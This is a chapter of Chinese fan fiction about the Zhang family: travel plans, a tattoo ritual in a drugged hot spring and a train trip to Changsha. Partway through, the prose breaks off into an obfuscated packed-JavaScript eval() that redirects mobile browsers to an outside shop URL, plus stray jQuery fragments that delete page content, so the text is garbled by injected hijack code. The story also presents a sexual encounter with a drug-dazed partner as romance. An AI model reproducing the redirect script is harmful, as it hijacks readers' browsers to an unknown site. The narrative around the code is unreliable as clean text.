这几天,张海楼和张海侠准备着去往长沙和北京的行李,主要是衣物和鞋袜得带齐了,这个时代的火车速度很慢,跨市的交通,至少要20天才能抵达长沙。
厦门一年四季都是夏天,偶有冷空气降温的冬季,持续时间也很短,但长沙和北京就不同的,夏天热得发闷,冬天冷得下雪,我们三个人要带的东西都不会少。
张海楼和张海侠对远行虽然有经验,也不过是从炎热的城市到另一个酷暑难耐的国家,现在却不同了,长沙和北京的环境,对两个从没离开过热带地区的男孩儿而言,还是非常陌生的。
张海琪这个冷酷辣妈,嘴上总是一副不在乎别人死活的态度,这几天也在帮着出谋划策,分享她在长沙和北京的见闻经历,生怕自家孩子出门在外吃了亏。
当初,张海琪把他们送出国,也是想让这两个孩子有个善终,既然这次是为了治腿才回来的,张海琪自然也想我们顺利。
两天后就要启程了,张海琪把我单独叫进了房间,她从首饰盒里拿出一捆扎的银票,和三包沉甸甸的银元,将它们都递到了我手里。
“银票是50万,三包银元供日常开销,你要收好,火车上扒手不少。”虽然她并不担心有人能偷走我们的东西,但老母亲的提醒,还是得送到。
“海琪,我手里有钱。”我推辞。
张海琪那容我反对,道:“长沙和北京的物件,你清楚吗。”
“应该跟厦门差不多吧?”我道。
“在厦门,一碗面两元,能吃上肉,在长沙,五元,加三元吃肉,北京,十元,加五元有肉。”张海琪如数家珍般将三个地方的物价进行了非常直观的比较,“新月饭店的拍卖,来的都是各界名流,张瑞林给你的50万对那些达官贵人而言,恐怕刚够零头。”
我皱了皱眉:“怎么这么贵,老百姓还能消费得了吗?”物价确实差距太悬殊,她这5元,10元的,都快赶上我那个世界路边摊的消费了,可这个时代大部分的收入,一个月可能连三个银元都没有。
张海琪啼笑皆非:“谁管老百姓能不能消费。”
军阀混战,平民苦不堪言,战争带来的资源短缺,导致物价疯长,只有一些大城市,受到波及的程度要小一些。
我接过钱,说:“你不跟我们一起走吗?”
“在厦门,我还有自己的事要做。”张海琪对我道,“你老实告诉我,这次来了,还走吗?”
我愣了愣,有些难以回答,这个问题,我也问过自己无数次。
“如果你要走,又何必招惹他们,让他们对你动情。”张海琪没有责怪,只是轻轻地叹了一口气,“这两个孩子从小便喜欢你,小时候就妄想长大了娶你,后来你失踪,他们对别的女人都提不起兴趣,你知道为什么吗?”
我怔怔地回答:“因为,他们喜欢我?”
“因为他们眼里容不下沙子,心眼特别小,张海楼和张海侠是最像张家男人的两个孩子。我把他们给了你,你已经辜负过一次,我不希望有第二次。”张海琪看着我,表情严肃,“他们动了真心就没有救了,你明白吗?”
“我,明白。”我想到在船上,他们为了追上我,宁愿冒着溺水和失温的风险,也要游上那艘船。
“特别是海侠,这个孩子,从小安静听话,除了宠着海楼,没有什么毛病。”张海琪道,“他不会去抢夺自己的宠爱,只会在一旁感知你需要什么。海侠跟海楼不同,他害怕失去那种平静和幸福,所以他牢牢的守着,无论你要他干什么,他都会毫不犹豫的去做。海楼能够给你带来的快乐,海侠是给不了的,但是,既然你爱上了他们两个,就不要辜负海侠。”
气氛异常沉重,我张了张嘴,不知道该说什么,张海琪不像是要反对我和他们谈恋爱,可她的每一个字,都是对自己仅剩的两个孩子的偏袒。
张海琪没有继续为难,只是轻轻拍了拍我的肩:“今天晚上,我要你给他们纹身。”
我惊道:“鸽子血的纹身吗?”
“不然呢,他们现在知道了张家所有的事,既然没有背叛我,入张家也无可厚非。”可张海琪却并不认为这是一种殊荣,反而是他们命运被束缚的开始,“你会画画吧。”
画画是张家人的传统技能,无论喜不喜欢,都必须从小学习画画,这是为了日后□□所做的准备。
我道:“可是,纹身需要张家的一个长辈才能进行,要我纹身,不合适吧?”
张海琪看着我:“你是他们的老师,不就是长辈?”
“可……”可我比他们小,而且理论上,他们才是我的长辈,还是大百岁以上的那种。
张海琪以为我是害羞,毕竟纹身的两个人要在特定的环境下全身赤膊进行:“以后睡一起,不都要脱了衣服么,现在适应适应,以后才熟悉。”
我脸一烫:“我没有想这些!”张海楼的纹身如果是我画的,那也太不可思议了。
走出张海琪的房间,张海楼和张海侠都站在门口等着,大概是担心这门亲事被他们的干娘反对,见我表情阴郁,觉得坏了。
“干娘是不是说不好听的话了?”张海楼拉着我的手,“不怕,我们以后不住厦门,干娘眼不见心不烦,就不会说你了。”
张海侠也过来牵住我:“干娘是不准你跟我们来往了吗?”
我还没开口,张海琪就出来了,脸上的表情比我还难看,显然是听到了儿子们的谈论。
张海楼赶紧过去哄道:“干娘,小玥好不容易接受跟我们两个在一起,您就别操心了,您实在生气,就冲我发火,是我缠着小玥的。”
张海侠在一旁不说话,只是看着张海琪。
张海琪打开张海楼捏肩捶背的手:“两个白眼狼,有了媳妇胳膊肘就往外拐。”
张海琪带着我们深入到宅子的最里面,穿过一间又一间的门,每一个房间,都有关于张家的过往和历史的证据,张海楼和张海侠昨天已经看过了,只是这次要去的地方,比他们走过的更深邃。
我们走到了通道的尽头,看见了一道铁门,
铁门被打开,里面一片漆黑,是个暗室,暗室通往地底下,铁门关上之后,像是与世隔绝了一样,听不到外界任何声音。
四下漆黑一片,张海琪没有点灯,适应之后,能勉强看清脚下,是湿漉漉的水泥地板。
张海楼和张海侠并不知道我们要干什么,但他们并没有开口问,走在最前面的,是他们的干娘和喜欢的女人,哪怕这个暗室直达地狱,两人也心甘情愿。
房间越来越暖和,却并不燥热,能听到四周有流水的声音在空间中回荡。
张海琪要我注意脚下,我发现前面有石头台阶,跟着她走了几步,就有水,水是热的,像温泉。
我们三人很快就涉水了,水起初并不深,往前多走几步就逐渐没过了小腿,张海楼拉了拉我的手,见我表情平静,他也显得十分放松。
张海琪示意我们停下,她又朝前走了一会儿,在墙上点燃了一个蜡烛台,紧接着,四周所有的蜡烛都亮了,空间的格局,这才完全展示了出来。
这是一个只有不到20平米的石头房间,温泉从墙壁上流入,我们站在水池里,最深的地方,也就只到大腿了。
水池中间摆着一张巨大的石桌,几乎占据了整个房间的三分之一,桌子角上全部都是硫磺结成的类似于钟乳一样的东西,显然在这里放了很久。
上面铺了张毯子,没有被污染,显然是才放上去的。
桌上摆着很多工具,用麻布包着,除此之外,就没有别的家具了。
张海侠闻着空气里的各种味道,打量着四周。
张海楼直接开口问:“这是要干什么?”她对我道,“泡澡么?”
我道:“给你们纹身。”我来过类似的地方,环境要好很多。
两个人眼睛一亮,他们知道纹身的意义,只要是张家人,都有纹身。
“真的吗?”张海楼看了看我,又看向张海琪,“我们也能有纹身了?”
张海琪淡淡地回道:“你和海侠现在都是一个普通人,可以选择离开,纹身这种东西,并不是那么值得骄傲,一旦你们有了纹身,很多东西都会发生变化。”
张海楼和张海侠交换着眼神,他们在满是瘟疫病人的礁石上,没有食物没有淡水的活了下来,在马六甲做瘟神,收集一个又一个南洋诡事,这些种种经历,对他们而言,自己早就不是普通人了。
他们从小被训练,被授予各种技能,为张家在办事,要是没有纹身,那他们的“张”姓又有什么意义。
张海琪突然对我道:“你每天看他们两个大男人眉来眼去的,就不膈应吗?”
张海楼和张海侠立刻和我贴紧:“我们哪有眉来眼去,干娘别乱说。”
张海琪懒得理他,翻开桌子上的布包,里面都是一些笔一样的东西,还有几张小块的人皮,她从石桌下的置物台下拿出吾个黑色的小陶罐,盖上有红黄蓝绿黑不同的颜色,对应着罐子里的颜料。
张海楼刚想说话,忽然觉得头晕脑胀,眼前的视线变得模糊起来,身体也使不上力,张海侠察觉到了兄弟的异常,赶紧扶住了他。
“我这是,怎么了?”张海楼的一条胳膊搭在我肩膀上。
我道:“这儿的温泉中加了某种特质的迷/药,普通人待久了会支撑不了。”
张海楼看着没什么反应张海侠:“你怎么没事儿?”
张海琪也有些奇怪。
我道:“海侠吃了藏海花制作的药丸,这种迷/药对他不会造成影响。”我给张海琪解释,当初为了做手术,张瑞林提供了他手里最后一颗药。
张海琪愣了一下,随即终于放下心来,他的这个孩子,没有被我亏待。
“小玥,接下来就交给你了。”张海琪替我备好工具,给我递了一张图,图上是彩色的穷奇,“给他们画上这个。”
“万一我画错了怎么办?”我从没给人画过纹身,直接就要上手,我没那个信心。
“你的手很稳,不会出错,你就按你的喜好去画就行了。”张海琪指了指桌上的人皮,“可以先拿这个练练。”
我兴奋又忐忑,给自己喜欢的人纹身,有种另类的浪漫,这件事本该由张海琪做的,可她却让给了我。
张海侠将张海楼抱上石桌,让他的上半身靠着自己,张海楼没有晕厥,只是脑袋昏昏沉沉的,很不舒服,难得这么虚弱,张海侠不太放心:“玥,要怎么纹身,这里的温泉,对海楼没有伤害吧,为什么要在这种地方纹身?”
他抬头,看到几乎一丝/不/挂的背影,不知什么时候,女孩儿已经脱掉了上衣,只保留了底裤,她的头发被雾气浸湿了,水滴顺着光滑的脊背往下淌。
张海侠只觉得口干舌燥,咽了一口唾沫,赶紧捂着张海楼的眼睛,别过脸:“你,你把衣服穿好。”
张海楼不要脸的想拍开他的手:“我要看。”
我深吸一口气转过身,热气蒸腾,我身上开始出现纹身的图案:“你和海楼要把衣服脱了,躺在石桌上,当我的画布,因为纹身的颜料很特别,只有在一定温度和湿度下才会显现,所以只能在这里,别的地方画起来没一会儿就看不见了。”
张海楼本就看不清东西,被张海侠挡住眼睛很是不满,但他已经没有力气反抗,许多年后,他都在为今天的初尝禁果表现不佳而懊悔。
我慢慢走向他们,张海侠不停的吞咽着唾液:“我们,我们还没成亲,不能这样。”
我轻轻碰了碰他的脸:“可我想要。”
几个小时后,我是被张海侠抱出来的,他现在已经可以不拄拐,也能靠着身体的平衡负重行走。
我套着一件湿透的衬衫,张海琪一边看报一边抽烟,他注意到我脖子上有明显的吻痕和齿印,不禁笑了一下。
她知道我们三个在那个屋子里,不止做了纹身这一件事。
张海侠把我放回卧室的床,有些留念般的在我的唇上落下一吻,接着又回到温泉房,把迷迷糊糊的张海楼也抱了出来,把他放在我旁边,让我们睡在一起。
张海侠退出卧室,来到张海琪身边:“干娘,明天我们就要走了,您还有什么要交代的吗?”
张海琪语重心长地道:“明明可以趁现在跟她独处,却偏偏将机会让给别的男人。”
张海侠笑了笑:“那不是别人,那是海楼。”
张海琪道:“你没有海楼说话讨人喜欢,以后多半要被冷落,独守空房。”
张海侠继续笑道:“干娘,小玥没有冷落过我,她是为了我才回来的。”
张海琪不想搭腔,自己的孩子是什么性子她最清楚:“好了,让我看看她给你画的纹身。”
张海侠用热水将纹身的图案熨出来,就见张海琪表情一变。
“那丫头,怎么把穷奇眼睛画那么大!”张海琪理解不了现代的画风,坐起来,“把海楼拖出来,趁着颜料没干透,还能改,快一点儿!”
直到送我们出门前,张海琪对我的画风还颇有微词,差点就把两个凶煞的邪兽变成了两只不伦不类的小狗。
我嘀咕:“不是你说按我喜欢的来嘛……”
张海琪对我们道:“不管那药能不能治海侠的腿,这事儿结束就赶紧回来,我们要处理掉莫云高,他已经知道了南洋档案馆的存在,按道理是不能活着的。但现在我们的实力不够,这件事要从长计议。正好你们要去长沙,我已经给张启山发了电报,也讲明了小玥的身份,如果他不是铁石心肠的军阀,应该会在火车站派人接应,要是能住在他安排的地方,你们也能省下一笔钱。”
我有些诧异:“你认识曾……张启山?”
“不认识,只是知道彼此的存在,有过书信和电报的往来。”张海琪说,“山海隔千年,山字辈和我们海字辈,是不能见面的。”
“为什么?”这事儿没听张日山提过,大概不是很要紧的原因。
张海琪认真的解释:“山海隔千年,戚戚不可见。山和海在张家的谚语里,是终生不可能见面的两批人。山海相见的时候,张家必定灭亡了,这是我很久以前听到的说法。”
张海琪跟张启山有联系,是因为张海楼在三年前盘花海礁的报告里,提到了敌人曾接过一个电话,对方说到了张启山。
都是姓张的,张海楼不在意,但张海琪却动了调查的心思。
“张大佛爷”的名号已经在长沙无人不知,对于张海琪来说,一个张姓带山字的名字,加上曾经听过的谚语,很难不在意这个人。
于是她专门派了手下去长沙探查。
但张启山在长沙耳目通天,所有派出的海字辈探子进城的第二天都被五花大绑送到城外。两次之后,张海琪在董公馆就收到了长沙寄来的特产宁乡沩山毛尖茶,上面有一张纸条:事不过三。
能从她手里的探子口中知道自己的存在,一定有相当的手段,被送回来的探子都没受伤,也没被用刑逼供,张启山这个军阀头子,在张海琪那里印象倒是不错。
此事也就只好作罢。
张海琪不知道对方如何知道自己的存在,既然张启山是当政的布防官,又是盘花海礁案罪犯提防的人,也勉强算是同一阵线,于是送了回礼,是厦门青津果。
双方自此再没联系。
如今我们要去长沙,以张启山对张海琪的了解,不可能不知道张海楼和张海侠和她的关系,万一将我们当成派遣探子又给抓起来了,实在是闹大误会,张海琪索性先发一封电报过去当拜帖,讲明我们的造访与公事无关,一是为了治病而来,二是为了认亲。
这对我来说简直是意外收获,之前还一直担心,要用什么方法引起张启山的注意才能成为他的座上宾,我既没遭难又没遇敌,直接去找他别说见不到人,搞不好就被当成敌特被他的手下给突突了,想不到张海琪直接和张启山取得联系,这样一来,他多少都会见我一面,以辨真伪。
曾祖父虽是铁血军阀,对自己的亲眷和过命兄弟可谓重情重义,他不会不管流落在外的,我这个“妹妹”的。
张海琪问道:“你要怎么说服张启山,让他相信,你是他妹妹?”
“我有信物。”我拿出二响环,这手镯我一直没有戴,因为太贵重,怕被贼惦记,引来不必要的麻烦。
张海琪一看就知道不是凡物,但她并不清楚张启山手里也有二响环,便问:“这东西能帮你认亲?”
“只要有这个,曾……张启山会善待我。”说实话,一直叫自己曾祖父的名字,实在太别扭了,从小到大,我都是叫的“曾祖父”的。
张海琪道:“所以你到底是不是他的妹妹?”
“不是。”我道,“等以后回来,我再告诉你我的来历,但我和张启山,确实有血缘。”
张海琪没有送我们去火车站,也没有表现得太过不舍,她面对的别离太多,目送自己的孩子出远门,是最不需要伤感的事。
只是上车前,她还是提醒我们,张启山在三年前刚上任长沙布防官不久,他最初是在东北那边建立的势力
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266511|136548||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,日本人近几年在西南活动猖獗,这个调动应该是和遏制日本特务有关。
长沙的治安在老九门的掌控下,很少出现大型犯罪,但那里有日本领事馆,还是要保持警惕。
我们买的头等车厢,上了火车,便有乘务员亲自领我们前往包厢。
头等车厢的包房有四张柔软的床铺,刚好够我们使用,多出来的,当时买票的时候也一并要了,用来放行李。
张海楼和张海侠不是第一次坐火车,以前无论多远,都是硬座,每次坐下来屁股比凳子还要僵硬,周围到处都是吵杂的喧嚣,如今也享受了一把上流人士的待遇。
火车发出呜呜的声音,窗外有乘客的亲朋在招手,比起他们的淡然,我却有了思乡的情绪。
张海侠握着我的手,道:“想家了吗?”
我头一偏,靠在他胸口:“有点儿。”
张海侠抚摸我的头发,他知道我的家在哪里,就说不出想家就回去看看的话来,一旦我回去,他就再也见不到我了。
我们三个的关系,经过昨天就变得更亲密了,按照正常情况,他们当天就该跟我提亲,但我显然没有要结婚的打算,两人也就没有自作主张。
所以,张海侠无法说服自己放手,尽管他很清楚,我的世界有多美好。
张海楼轻咳一声,转移我的注意力:“你们那儿,从厦门到长沙,要多久?”
我道:“快和慢都有,快的话,1个小时,慢的话,9个小时,取决于不同的交通工具。”
“1个小时!?”张海楼难以置信,他以为从马六甲到厦门的轮渡只需要几天已经是极限。
一周后,火车进入内陆的山区,中途没有突发状况,不出意外,再过10天,就是长沙的地界了。
张海琪说,我们三个不能以夫妻或情人的身份出现在长沙,那样会显得我这个女人太随便,恐引起张启山的不满,所以,我现在的身份是张海琪收养的女儿,张海楼和张海侠是我的哥哥。
只有在包厢里,才能做出亲密的举动,在人前,就要规矩一些。
我发现张海楼和张海侠和相处时,有截然不同的喜好,张海楼喜从背后抱我,张海侠偏好我靠在他身上,两个人很有默契,与我亲密时,另一个就会离开包厢,给彼此腾出独处的空间,
张海楼刚才易了容,说是要去三等车厢巡逻,他这几天换了两次脸,已经将头疼车厢和二等车厢的所有乘客都摸了底,连货仓都去搜罗了一圈,就是担心莫云高阴魂不散,又搞炸药那一出。
眼看着就要接近长沙,他可不想出任何意外。
车厢里就剩我和张海侠,在用探测器扫描食物,如今他和张海楼已经能够熟练的使用我带来的所有高科技,也看得懂上面的数据了。
吸取了在船上被人下毒的教训,这次我们带足了食物,七天以来,我们都没有去餐车。但总吃干粮也有些没滋没味,将近20天的行程,不光我馋了,张海楼也馋了,确定头等车厢和乘客与厨师乘务员都没有异常之后,我们要了七天来的第一顿餐食。
火车上有西餐也有中餐,我们都点了双份,反正现在有钱了。
以防万一,还是对每样食物都进行了扫描,结果没有显示致命毒素,也没有细菌超标。
张海侠将肉菜夹在馒头里,喂给我,我故意调整脸的角度,想要轻薄他修长的指背,却让他给察觉了。
张海侠没有顺我的意,胳膊一弯,把裹满菜肴的馒头塞进了自己的嘴里。
“张海侠!”我伸手就要锤他,可这个人却摆出无辜又温柔的表情,让我下不了手,“肯定是跟海楼学的。”
如果是张海楼,那一拳还是下得去手的,他本来就很喜欢和我玩儿这种你来我往的幼稚游戏。
“我不需要跟他学。”张海侠又包好了馒头,递到我嘴边时,指腹在我唇上挲磨两下,“倒是你,越来越多坏心思。”
纹身那天过后,他们非常担心我怀孕,这个时代怀孕的女人很不容易,两个男人甚至打算等上一两个月,确定我没怀,再启程,要是怀了,就在厦门养胎。
张海楼还想,要是自己当爸爸了,就做点生意,赚钱养家。
可我和他们上床前已经吃了避孕药,还让他们带了套,怀孕是不可能的,张海楼脸上一喜一丧,张海侠松了一口气的同时,似乎也有些失落。
两人其实也很清楚,现在不是谈情说爱的时候,我也没有成亲的想法,只是对于组建家庭的期望,在和我的关系更加紧密之后,变得强烈起来。
既然我没有结婚的意向,避孕药和安全套依然会出现百分之零点一受孕的可能性,两人索性就不跟我睡了。对待感情和婚姻,张海楼和张海侠意外的统一,我还以为张海楼会更肆无忌惮一些,然而在他们的观念里,和女人睡了要是不结婚的话,这个男人跟禽兽没有区别。
他们不愿意当禽兽,可血气方刚的年纪,不想要是不可能的,我们同住一个屋檐,那个部位要是有了反应,张海楼会去外面的卫生间解决。
张海侠这时候就展现出了超乎寻常的定力,他很少让自己在生理上变得失控。
所以我就像个勾引唐僧和孙悟空的妖女,时常撩拨,张海楼有时候急了,会咬我的脖子发泄,张海侠这时候就不会帮我,假装收拾床铺或者看窗外的风景。
就这么熬了一周,张海楼和张海侠应付我的蛊惑已经游刃有余。
吃完饭,张海侠就开始阅读当日的报纸,英文版和中文版的都会买上一份,这个时代要掌握各地动向,都只能靠报纸了解。我按摩着他的腿,他偶尔伸手揉搓我的手心,我们就像一对热恋期的情侣,享受着平静的蜜月生活。
其实我并不敢保证自己是否能同时给予这两个人绝无偏心的爱,我也会担心,当我对另一个人关注的时候,剩下的那个会不会难过,他们到目前为止都很和谐,没有争风吃醋的情况发生。
“海侠。”我道,他抬眼看了看我,“如果我回去了,你和海楼,能好好活着吗?”
张海侠的表情一顿,放下报纸,摸了摸我的脸:“当然,你只是回家了,你的家乡很美好,我们知道你也会过得比在这里好,会很高兴。”
我道:“你其实可以不用那么懂事,男女朋友之间,是可以存在自私想法的,比如,你就应该对我说,不希望我回去,想要我留下来,不然就死给我看。”
张海侠笑了起来,他的笑声很好听,像初雪融化的流水:“难道200年后的男人,都是这么对喜欢的姑娘求爱的?”
“确实有这样的极端男士。”我吐吐舌头,
张海侠揽着我的头,让我靠在他的肩上:“我知道你很想家,也想留下,这段时间,你一直都在为此困扰。”张海侠吻了吻我的头发
我抱着他的腰,把自己完全陷在这个男人有力的臂弯之下,我似乎有点明白为什么我会爱上他们两个,张海楼和张海侠给我的,是截然不同的两种感觉,我很难将他们进行比较。
张海楼的情绪奔放,对我的爱意张狂,张海侠感情内敛,对我的照顾无微不至,他们是独立的个体,又是密不可分的两个人,我无法做到将其中一个从这段关系里剔除。
“你留下,我们就在这乱世中寻找净土,安心度日,你要离开,我和海楼就慢慢的活,活到你20岁的时候,就又能见面了。以前不觉得长生不老有什么好,现在,倒是能理解了。”张海侠的语气淡淡的,没有情绪的起伏,像这只是问候的“早安”那样寻常。
我不敢置信地抬头望着他:“你真的这么想吗?”
“不光我这么想,海楼也是这么想的,所以,无论你有任何决定,我们都会站在你这边。”张海侠见我眼角沁了泪珠,赶紧替我擦拭,“哭什么呢,要是被海楼看见,会以为我欺负你了。”
话音刚落,熟悉的敲门节奏便在门外响起,接着是钥匙开锁的声音,张海楼换回了自己的脸,他进来后立刻锁了门,神情有些凝重。
张海侠看出他心事重重,道:“怎么这么早就回来,发现什么了?”
张海楼喝了一口水:“怎么,嫌我?”突然见我眼中含泪,他佯装不悦,问我道,“虾仔欺负你了?”
我抹了一把眼泪,故意道:“嗯,他欺负我。”
张海楼曲起手指,轻敲我脑壳:“少装可怜,你不欺负他就不错了。”要是从前,张海楼就会把我抱到他腿上,顺着我演下去,显然他在巡车厢的时候遇到了棘手的事,才表情严肃,暂时管不了别的,“三等车厢,有日本人。”